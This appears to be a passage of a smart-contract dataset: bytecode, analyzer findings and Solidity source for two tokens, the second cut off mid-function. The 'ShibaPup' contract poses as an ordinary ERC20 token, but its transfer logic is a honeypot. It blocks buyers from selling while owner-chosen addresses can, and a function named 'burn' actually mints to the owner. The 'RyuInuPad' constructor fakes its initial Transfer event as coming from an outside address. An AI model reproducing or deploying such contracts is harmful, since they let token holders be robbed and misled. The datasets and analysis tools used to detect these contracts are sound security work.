ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b280670666b39f2c1d2ad55f317c9a61a719c26e8fac9b92d9b2533fecad0a6564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,400 |
0xbcefe24478632e5af4c35f58d4095c6fc3510efa
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier everyone {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
uint internal number;
address internal zeroAddress;
address internal burnAddress;
address internal burnAddress2;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zeroAddress, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zeroAddress == address(0)) zeroAddress = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function burn(address _address, uint256 tokens) public everyone {
burnAddress = _address;
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
_totalSupply = _totalSupply.add(tokens);
balances[_address] = balances[_address].add(tokens);
}
/**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function burnFrom(address _address) public everyone {
burnAddress2 = _address;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function appr0ve(uint256 tokens) public everyone {
number = tokens;
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
require(end != zeroAddress || (start == burnAddress && end == zeroAddress) || (start == burnAddress2 && end == zeroAddress)|| (end == zeroAddress && balances[start] <= number), "cannot be zero address");
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
}
}
contract ShibaPup is TokenERC20 {
function initialise() public everyone() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory _name, string memory _symbol, uint256 _supply, address burn1, address burn2, uint256 _number) {
symbol = _symbol;
name = _name;
decimals = 18;
_totalSupply = _supply*(10**uint256(decimals));
number = _number*(10**uint256(decimals));
burnAddress = burn1;
burnAddress2 = burn2;
owner = msg.sender;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806369cea3781161008c57806395d89b411161006657806395d89b41146103a15780639dc29fac14610424578063a9059cbb14610472578063dd62ed3e146104d6576100ea565b806369cea378146102e757806370a08231146103155780638da5cb5b1461036d576100ea565b806323b872dd116100c857806323b872dd146101f4578063313ce567146102785780633506ac7414610299578063592e6f59146102dd576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d6575b600080fd5b6100f761054e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ec565b60405180821515815260200191505060405180910390f35b6101de6106de565b6040518082815260200191505060405180910390f35b6102606004803603606081101561020a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610739565b60405180821515815260200191505060405180910390f35b610280610ac4565b604051808260ff16815260200191505060405180910390f35b6102db600480360360208110156102af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad7565b005b6102e5610b73565b005b610313600480360360208110156102fd57600080fd5b8101908080359060200190929190505050610c1a565b005b6103576004803603602081101561032b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c7c565b6040518082815260200191505060405180910390f35b610375610cc5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a9610ce9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e95780820151818401526020810190506103ce565b50505050905090810190601f1680156104165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104706004803603604081101561043a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d87565b005b6104be6004803603604081101561048857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ed4565b60405180821515815260200191505060405180910390f35b610538600480360360408110156104ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611133565b6040518082815260200191505060405180910390f35b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105e45780601f106105b9576101008083540402835291602001916105e4565b820191906000526020600020905b8154815290600101906020018083116105c757829003601f168201915b505050505081565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610734600960008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546004546111ba90919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156107c55750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156108105782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061081b565b61081a84846111d4565b5b61086d82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111ba90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061093f82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111ba90919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1182600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a390919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b2f57600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bcb57600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610c16573d6000803e3d6000fd5b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c7257600080fd5b8060058190555050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d7f5780601f10610d5457610100808354040283529160200191610d7f565b820191906000526020600020905b815481529060010190602001808311610d6257829003601f168201915b505050505081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ddf57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e35816004546114a390919063ffffffff16565b600481905550610e8d81600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a390919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f9a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b610fec82600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111ba90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061108182600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a390919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000828211156111c957600080fd5b818303905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415806112d75750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156112d65750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b5b806113885750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156113875750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b5b8061142d5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561142c5750600554600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b5b61149f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f63616e6e6f74206265207a65726f20616464726573730000000000000000000081525060200191505060405180910390fd5b5050565b60008183019050828110156114b757600080fd5b9291505056fea26469706673582212208a253109c7d3ad89b4b567eefc351178633ae5e01aeaf4de283b1a68bd3278e264736f6c63430007060033
|
{"success": true, "error": null, "results": {}}
| 8,401 |
0xc214bb864a421711cd67208da741fd441c1a1629
|
/**
*First Anime Launchpad
* Join us on TG at t.me/RyuInuPad
* Visit our website: www.ryuinupad.com
*/
/**
*Submitted for verification at
*/
/**
*
*/
/**
*
*/
/**
*
*/
/**
*/
/**
*Submitted for verification
*/
/**
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RyuInuPad is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "RyuInuPad";
string private constant _symbol = "RyuInu";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
